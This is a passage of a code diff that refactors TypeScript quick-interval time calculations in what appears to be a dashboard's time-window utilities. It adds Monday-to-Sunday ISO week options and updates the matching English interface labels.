472 | - return currentDate.endOf('day').valueOf(); | ||
473 | - case QuickTimeInterval.DAY_BEFORE_YESTERDAY: | ||
474 | - currentDate.subtract(2, 'days'); | ||
475 | - return currentDate.endOf('day').valueOf(); | ||
476 | - case QuickTimeInterval.THIS_DAY_LAST_WEEK: | ||
477 | - currentDate.subtract(1, 'weeks'); | ||
478 | - return currentDate.endOf('day').valueOf(); | ||
479 | - case QuickTimeInterval.PREVIOUS_WEEK: | ||
480 | - currentDate.subtract(1, 'weeks'); | ||
481 | - return currentDate.endOf('week').valueOf(); | ||
482 | - case QuickTimeInterval.PREVIOUS_MONTH: | ||
483 | - currentDate.subtract(1, 'months'); | ||
484 | - return currentDate.endOf('month').valueOf(); | ||
485 | - case QuickTimeInterval.PREVIOUS_YEAR: | ||
486 | - currentDate.subtract(1, 'years'); | ||
487 | - return currentDate.endOf('year').valueOf(); | ||
488 | - case QuickTimeInterval.CURRENT_HOUR: | ||
489 | - return currentDate.endOf('hour').valueOf(); | ||
490 | - case QuickTimeInterval.CURRENT_DAY: | ||
491 | - return currentDate.endOf('day').valueOf(); | ||
492 | - case QuickTimeInterval.CURRENT_WEEK: | ||
493 | - return currentDate.endOf('week').valueOf(); | ||
494 | - case QuickTimeInterval.CURRENT_MONTH: | ||
495 | - return currentDate.endOf('month').valueOf(); | ||
496 | - case QuickTimeInterval.CURRENT_YEAR: | ||
497 | - return currentDate.endOf('year').valueOf(); | ||
498 | - case QuickTimeInterval.CURRENT_DAY_SO_FAR: | ||
499 | - case QuickTimeInterval.CURRENT_WEEK_SO_FAR: | ||
500 | - case QuickTimeInterval.CURRENT_MONTH_SO_FAR: | ||
501 | - case QuickTimeInterval.CURRENT_YEAR_SO_FAR: | ||
502 | - return currentDate.valueOf(); | ||
503 | - } | 476 | +export function calculateIntervalStartEndTime(interval: QuickTimeInterval, tz?: string): [number, number] { |
477 | + const startEndTs: [number, number] = [0, 0]; | ||
478 | + const currentDate = getCurrentTime(tz); | ||
479 | + const startDate = calculateIntervalStartTime(interval, currentDate); | ||
480 | + startEndTs[0] = startDate.valueOf(); | ||
481 | + const endDate = calculateIntervalEndTime(interval, startDate, tz); | ||
482 | + startEndTs[1] = endDate.valueOf(); | ||
483 | + return startEndTs; | ||
504 | } | 484 | } |
505 | 485 | ||
506 | -export function calculateIntervalStartTime(interval: QuickTimeInterval, currentDate: moment_.Moment = null, tz: string = ''): number { | ||
507 | - currentDate = currentDate ? currentDate.clone() : getCurrentTime(tz); | 486 | +export function calculateIntervalStartTime(interval: QuickTimeInterval, currentDate: moment_.Moment): moment_.Moment { |
508 | switch (interval) { | 487 | switch (interval) { |
509 | case QuickTimeInterval.YESTERDAY: | 488 | case QuickTimeInterval.YESTERDAY: |
510 | currentDate.subtract(1, 'days'); | 489 | currentDate.subtract(1, 'days'); |
511 | - return currentDate.startOf('day').valueOf(); | 490 | + return currentDate.startOf('day'); |
512 | case QuickTimeInterval.DAY_BEFORE_YESTERDAY: | 491 | case QuickTimeInterval.DAY_BEFORE_YESTERDAY: |
513 | currentDate.subtract(2, 'days'); | 492 | currentDate.subtract(2, 'days'); |
514 | - return currentDate.startOf('day').valueOf(); | 493 | + return currentDate.startOf('day'); |
515 | case QuickTimeInterval.THIS_DAY_LAST_WEEK: | 494 | case QuickTimeInterval.THIS_DAY_LAST_WEEK: |
516 | currentDate.subtract(1, 'weeks'); | 495 | currentDate.subtract(1, 'weeks'); |
517 | - return currentDate.startOf('day').valueOf(); | 496 | + return currentDate.startOf('day'); |
518 | case QuickTimeInterval.PREVIOUS_WEEK: | 497 | case QuickTimeInterval.PREVIOUS_WEEK: |
519 | currentDate.subtract(1, 'weeks'); | 498 | currentDate.subtract(1, 'weeks'); |
520 | - return currentDate.startOf('week').valueOf(); | 499 | + return currentDate.startOf('week'); |
500 | + case QuickTimeInterval.PREVIOUS_WEEK_ISO: | ||
501 | + currentDate.subtract(1, 'weeks'); | ||
502 | + return currentDate.startOf('isoWeek'); | ||
521 | case QuickTimeInterval.PREVIOUS_MONTH: | 503 | case QuickTimeInterval.PREVIOUS_MONTH: |
522 | currentDate.subtract(1, 'months'); | 504 | currentDate.subtract(1, 'months'); |
523 | - return currentDate.startOf('month').valueOf(); | 505 | + return currentDate.startOf('month'); |
524 | case QuickTimeInterval.PREVIOUS_YEAR: | 506 | case QuickTimeInterval.PREVIOUS_YEAR: |
525 | currentDate.subtract(1, 'years'); | 507 | currentDate.subtract(1, 'years'); |
526 | - return currentDate.startOf('year').valueOf(); | 508 | + return currentDate.startOf('year'); |
527 | case QuickTimeInterval.CURRENT_HOUR: | 509 | case QuickTimeInterval.CURRENT_HOUR: |
528 | - return currentDate.startOf('hour').valueOf(); | 510 | + return currentDate.startOf('hour'); |
529 | case QuickTimeInterval.CURRENT_DAY: | 511 | case QuickTimeInterval.CURRENT_DAY: |
530 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: | 512 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: |
531 | - return currentDate.startOf('day').valueOf(); | 513 | + return currentDate.startOf('day'); |
532 | case QuickTimeInterval.CURRENT_WEEK: | 514 | case QuickTimeInterval.CURRENT_WEEK: |
533 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: | 515 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: |
534 | - return currentDate.startOf('week').valueOf(); | 516 | + return currentDate.startOf('week'); |
517 | + case QuickTimeInterval.CURRENT_WEEK_ISO: | ||
518 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: | ||
519 | + return currentDate.startOf('isoWeek'); | ||
535 | case QuickTimeInterval.CURRENT_MONTH: | 520 | case QuickTimeInterval.CURRENT_MONTH: |
536 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: | 521 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: |
537 | - return currentDate.startOf('month').valueOf(); | 522 | + return currentDate.startOf('month'); |
523 | + case QuickTimeInterval.CURRENT_YEAR: | ||
524 | + case QuickTimeInterval.CURRENT_YEAR_SO_FAR: | ||
525 | + return currentDate.startOf('year'); | ||
526 | + } | ||
527 | +} | ||
528 | + | ||
529 | +export function calculateIntervalEndTime(interval: QuickTimeInterval, startDate: moment_.Moment, tz?: string): number { | ||
530 | + switch (interval) { | ||
531 | + case QuickTimeInterval.YESTERDAY: | ||
532 | + case QuickTimeInterval.DAY_BEFORE_YESTERDAY: | ||
533 | + case QuickTimeInterval.THIS_DAY_LAST_WEEK: | ||
534 | + case QuickTimeInterval.CURRENT_DAY: | ||
535 | + return startDate.add(1, 'day').valueOf(); | ||
536 | + case QuickTimeInterval.PREVIOUS_WEEK: | ||
537 | + case QuickTimeInterval.PREVIOUS_WEEK_ISO: | ||
538 | + case QuickTimeInterval.CURRENT_WEEK: | ||
539 | + case QuickTimeInterval.CURRENT_WEEK_ISO: | ||
540 | + return startDate.add(1, 'week').valueOf(); | ||
541 | + case QuickTimeInterval.PREVIOUS_MONTH: | ||
542 | + case QuickTimeInterval.CURRENT_MONTH: | ||
543 | + return startDate.add(1, 'month').valueOf(); | ||
544 | + case QuickTimeInterval.PREVIOUS_YEAR: | ||
538 | case QuickTimeInterval.CURRENT_YEAR: | 545 | case QuickTimeInterval.CURRENT_YEAR: |
546 | + return startDate.add(1, 'year').valueOf(); | ||
547 | + case QuickTimeInterval.CURRENT_HOUR: | ||
548 | + return startDate.add(1, 'hour').valueOf(); | ||
549 | + case QuickTimeInterval.CURRENT_DAY_SO_FAR: | ||
550 | + case QuickTimeInterval.CURRENT_WEEK_SO_FAR: | ||
551 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: | ||
552 | + case QuickTimeInterval.CURRENT_MONTH_SO_FAR: | ||
539 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: | 553 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: |
540 | - return currentDate.startOf('year').valueOf(); | 554 | + return getCurrentTime(tz).valueOf(); |
541 | } | 555 | } |
542 | } | 556 | } |
543 | 557 | ||
@@ -552,8 +566,11 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number { | @@ -552,8 +566,11 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number { | ||
552 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: | 566 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: |
553 | return DAY; | 567 | return DAY; |
554 | case QuickTimeInterval.PREVIOUS_WEEK: | 568 | case QuickTimeInterval.PREVIOUS_WEEK: |
569 | + case QuickTimeInterval.PREVIOUS_WEEK_ISO: | ||
555 | case QuickTimeInterval.CURRENT_WEEK: | 570 | case QuickTimeInterval.CURRENT_WEEK: |
571 | + case QuickTimeInterval.CURRENT_WEEK_ISO: | ||
556 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: | 572 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: |
573 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: | ||
557 | return WEEK; | 574 | return WEEK; |
558 | case QuickTimeInterval.PREVIOUS_MONTH: | 575 | case QuickTimeInterval.PREVIOUS_MONTH: |
559 | case QuickTimeInterval.CURRENT_MONTH: | 576 | case QuickTimeInterval.CURRENT_MONTH: |
@@ -567,72 +584,58 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number { | @@ -567,72 +584,58 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number { | ||
567 | } | 584 | } |
568 | 585 | ||
569 | export function calculateIntervalComparisonStartTime(interval: QuickTimeInterval, | 586 | export function calculateIntervalComparisonStartTime(interval: QuickTimeInterval, |
570 | - currentDate: moment_.Moment): number { | 587 | + startDate: moment_.Moment): moment_.Moment { |
571 | switch (interval) { | 588 | switch (interval) { |
572 | case QuickTimeInterval.YESTERDAY: | 589 | case QuickTimeInterval.YESTERDAY: |
573 | case QuickTimeInterval.DAY_BEFORE_YESTERDAY: | 590 | case QuickTimeInterval.DAY_BEFORE_YESTERDAY: |
574 | case QuickTimeInterval.CURRENT_DAY: | 591 | case QuickTimeInterval.CURRENT_DAY: |
575 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: | 592 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: |
576 | - currentDate.subtract(1, 'days'); | ||
577 | - return currentDate.startOf('day').valueOf(); | 593 | + startDate.subtract(1, 'days'); |
594 | + return startDate.startOf('day'); | ||
578 | case QuickTimeInterval.THIS_DAY_LAST_WEEK: | 595 | case QuickTimeInterval.THIS_DAY_LAST_WEEK: |
579 | - currentDate.subtract(1, 'weeks'); | ||
580 | - return currentDate.startOf('day').valueOf(); | 596 | + startDate.subtract(1, 'weeks'); |
597 | + return startDate.startOf('day'); | ||
581 | case QuickTimeInterval.PREVIOUS_WEEK: | 598 | case QuickTimeInterval.PREVIOUS_WEEK: |
582 | case QuickTimeInterval.CURRENT_WEEK: | 599 | case QuickTimeInterval.CURRENT_WEEK: |
583 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: | 600 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: |
584 | - currentDate.subtract(1, 'weeks'); | ||
585 | - return currentDate.startOf('week').valueOf(); | 601 | + startDate.subtract(1, 'weeks'); |
602 | + return startDate.startOf('week'); | ||
603 | + case QuickTimeInterval.PREVIOUS_WEEK_ISO: | ||
604 | + case QuickTimeInterval.CURRENT_WEEK_ISO: | ||
605 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: | ||
606 | + startDate.subtract(1, 'weeks'); | ||
607 | + return startDate.startOf('isoWeek'); | ||
586 | case QuickTimeInterval.PREVIOUS_MONTH: | 608 | case QuickTimeInterval.PREVIOUS_MONTH: |
587 | case QuickTimeInterval.CURRENT_MONTH: | 609 | case QuickTimeInterval.CURRENT_MONTH: |
588 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: | 610 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: |
589 | - currentDate.subtract(1, 'months'); | ||
590 | - return currentDate.startOf('month').valueOf(); | 611 | + startDate.subtract(1, 'months'); |
612 | + return startDate.startOf('month'); | ||
591 | case QuickTimeInterval.PREVIOUS_YEAR: | 613 | case QuickTimeInterval.PREVIOUS_YEAR: |
592 | case QuickTimeInterval.CURRENT_YEAR: | 614 | case QuickTimeInterval.CURRENT_YEAR: |
593 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: | 615 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: |
594 | - currentDate.subtract(1, 'years'); | ||
595 | - return currentDate.startOf('year').valueOf(); | 616 | + startDate.subtract(1, 'years'); |
617 | + return startDate.startOf('year'); | ||
596 | case QuickTimeInterval.CURRENT_HOUR: | 618 | case QuickTimeInterval.CURRENT_HOUR: |
597 | - currentDate.subtract(1, 'hour'); | ||
598 | - return currentDate.startOf('hour').valueOf(); | 619 | + startDate.subtract(1, 'hour'); |
620 | + return startDate.startOf('hour'); | ||
599 | } | 621 | } |
600 | } | 622 | } |
601 | 623 | ||
602 | export function calculateIntervalComparisonEndTime(interval: QuickTimeInterval, | 624 | export function calculateIntervalComparisonEndTime(interval: QuickTimeInterval, |
603 | - currentDate: moment_.Moment): number { | 625 | + comparisonStartDate: moment_.Moment, |
626 | + endDate: moment_.Moment): number { | ||
604 | switch (interval) { | 627 | switch (interval) { |
605 | - case QuickTimeInterval.YESTERDAY: | ||
606 | - case QuickTimeInterval.DAY_BEFORE_YESTERDAY: | ||
607 | - case QuickTimeInterval.CURRENT_DAY: | ||
608 | - currentDate.subtract(1, 'days'); | ||
609 | - return currentDate.endOf('day').valueOf(); | ||
610 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: | 628 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: |
611 | - return currentDate.subtract(1, 'days').valueOf(); | ||
612 | - case QuickTimeInterval.THIS_DAY_LAST_WEEK: | ||
613 | - currentDate.subtract(1, 'weeks'); | ||
614 | - return currentDate.endOf('day').valueOf(); | ||
615 | - case QuickTimeInterval.PREVIOUS_WEEK: | ||
616 | - case QuickTimeInterval.CURRENT_WEEK: | ||
617 | - currentDate.subtract(1, 'weeks'); | ||
618 | - return currentDate.endOf('week').valueOf(); | 629 | + return endDate.subtract(1, 'days').valueOf(); |
619 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: | 630 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: |
620 | - return currentDate.subtract(1, 'week').valueOf(); | ||
621 | - case QuickTimeInterval.PREVIOUS_MONTH: | ||
622 | - case QuickTimeInterval.CURRENT_MONTH: | ||
623 | - currentDate.subtract(1, 'months'); | ||
624 | - return currentDate.endOf('month').valueOf(); | 631 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: |
632 | + return endDate.subtract(1, 'week').valueOf(); | ||
625 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: | 633 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: |
626 | - return currentDate.subtract(1, 'month').valueOf(); | ||
627 | - case QuickTimeInterval.PREVIOUS_YEAR: | ||
628 | - case QuickTimeInterval.CURRENT_YEAR: | ||
629 | - currentDate.subtract(1, 'years'); | ||
630 | - return currentDate.endOf('year').valueOf(); | 634 | + return endDate.subtract(1, 'month').valueOf(); |
631 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: | 635 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: |
632 | - return currentDate.subtract(1, 'year').valueOf(); | ||
633 | - case QuickTimeInterval.CURRENT_HOUR: | ||
634 | - currentDate.subtract(1, 'hour'); | ||
635 | - return currentDate.endOf('hour').valueOf(); | 636 | + return endDate.subtract(1, 'year').valueOf(); |
637 | + default: | ||
638 | + return calculateIntervalEndTime(interval, comparisonStartDate); | ||
636 | } | 639 | } |
637 | } | 640 | } |
638 | 641 | ||
@@ -656,8 +659,9 @@ export function createTimewindowForComparison(subscriptionTimewindow: Subscripti | @@ -656,8 +659,9 @@ export function createTimewindowForComparison(subscriptionTimewindow: Subscripti | ||
656 | startDate.tz(subscriptionTimewindow.timezone); | 659 | startDate.tz(subscriptionTimewindow.timezone); |
657 | endDate.tz(subscriptionTimewindow.timezone); | 660 | endDate.tz(subscriptionTimewindow.timezone); |
658 | } | 661 | } |
659 | - startTimeMs = calculateIntervalComparisonStartTime(subscriptionTimewindow.quickInterval, startDate); | ||
660 | - endTimeMs = calculateIntervalComparisonEndTime(subscriptionTimewindow.quickInterval, endDate); | 662 | + const comparisonStartDate = calculateIntervalComparisonStartTime(subscriptionTimewindow.quickInterval, startDate); |
663 | + startTimeMs = comparisonStartDate.valueOf(); | ||
664 | + endTimeMs = calculateIntervalComparisonEndTime(subscriptionTimewindow.quickInterval, comparisonStartDate, endDate); | ||
661 | } else { | 665 | } else { |
662 | const timeInterval = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs; | 666 | const timeInterval = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs; |
663 | endTimeMs = subscriptionTimewindow.fixedWindow.startTimeMs; | 667 | endTimeMs = subscriptionTimewindow.fixedWindow.startTimeMs; |
@@ -697,22 +701,6 @@ export function cloneSelectedTimewindow(timewindow: Timewindow): Timewindow { | @@ -697,22 +701,6 @@ export function cloneSelectedTimewindow(timewindow: Timewindow): Timewindow { | ||
697 | return cloned; | 701 | return cloned; |
698 | } | 702 | } |
699 | 703 | ||
700 | -export function cloneSelectedHistoryTimewindow(historyWindow: HistoryWindow): HistoryWindow { | ||
701 | - const cloned: HistoryWindow = {}; | ||
702 | - if (isDefined(historyWindow.historyType)) { | ||
703 | - cloned.historyType = historyWindow.historyType; | ||
704 | - cloned.interval = historyWindow.interval; | ||
705 | - if (historyWindow.historyType === HistoryWindowType.LAST_INTERVAL) { | ||
706 | - cloned.timewindowMs = historyWindow.timewindowMs; | ||
707 | - } else if (historyWindow.historyType === HistoryWindowType.INTERVAL) { | ||
708 | - cloned.quickInterval = historyWindow.quickInterval; | ||
709 | - } else if (historyWindow.historyType === HistoryWindowType.FIXED) { | ||
710 | - cloned.fixedTimewindow = deepClone(historyWindow.fixedTimewindow); | ||
711 | - } | ||
712 | - } | ||
713 | - return cloned; | ||
714 | -} | ||
715 | - | ||
716 | export interface TimeInterval { | 704 | export interface TimeInterval { |
717 | name: string; | 705 | name: string; |
718 | translateParams: {[key: string]: any}; | 706 | translateParams: {[key: string]: any}; |
@@ -894,6 +882,14 @@ export function getCurrentTime(tz?: string): moment_.Moment { | @@ -894,6 +882,14 @@ export function getCurrentTime(tz?: string): moment_.Moment { | ||
894 | } | 882 | } |
895 | } | 883 | } |
896 | 884 | ||
885 | +export function getTime(ts: number, tz?: string): moment_.Moment { | ||
886 | + if (tz) { | ||
887 | + return moment(ts).tz(tz); | ||
888 | + } else { | ||
889 | + return moment(ts); | ||
890 | + } | ||
891 | +} | ||
892 | + | ||
897 | export function getTimezone(tz: string): moment_.Moment { | 893 | export function getTimezone(tz: string): moment_.Moment { |
898 | return moment.tz(tz); | 894 | return moment.tz(tz); |
899 | } | 895 | } |
@@ -2232,14 +2232,17 @@ | @@ -2232,14 +2232,17 @@ | ||
2232 | "yesterday": "Yesterday", | 2232 | "yesterday": "Yesterday", |
2233 | "day-before-yesterday": "Day before yesterday", | 2233 | "day-before-yesterday": "Day before yesterday", |
2234 | "this-day-last-week": "This day last week", | 2234 | "this-day-last-week": "This day last week", |
2235 | - "previous-week": "Previous week", | 2235 | + "previous-week": "Previous week (Sun - Sat)", |
2236 | + "previous-week-iso": "Previous week (Mon - Sun)", | ||
2236 | "previous-month": "Previous month", | 2237 | "previous-month": "Previous month", |
2237 | "previous-year": "Previous year", | 2238 | "previous-year": "Previous year", |
2238 | "current-hour": "Current hour", | 2239 | "current-hour": "Current hour", |
2239 | "current-day": "Current day", | 2240 | "current-day": "Current day", |
2240 | "current-day-so-far": "Current day so far", | 2241 | "current-day-so-far": "Current day so far", |
2241 | - "current-week": "Current week", | ||
2242 | - "current-week-so-far": "Current week so far", | 2242 | + "current-week": "Current week (Sun - Sat)", |
2243 | + "current-week-iso": "Current week (Mon - Sun)", | ||
2244 | + "current-week-so-far": "Current week so far (Sun - Sat)", | ||
2245 | + "current-week-iso-so-far": "Current week so far (Mon - Sun)", | ||
2243 | "current-month": "Current month", | 2246 | "current-month": "Current month", |
2244 | "current-month-so-far": "Current month so far", | 2247 | "current-month-so-far": "Current month so far", |
2245 | "current-year": "Current year", | 2248 | "current-year": "Current year", |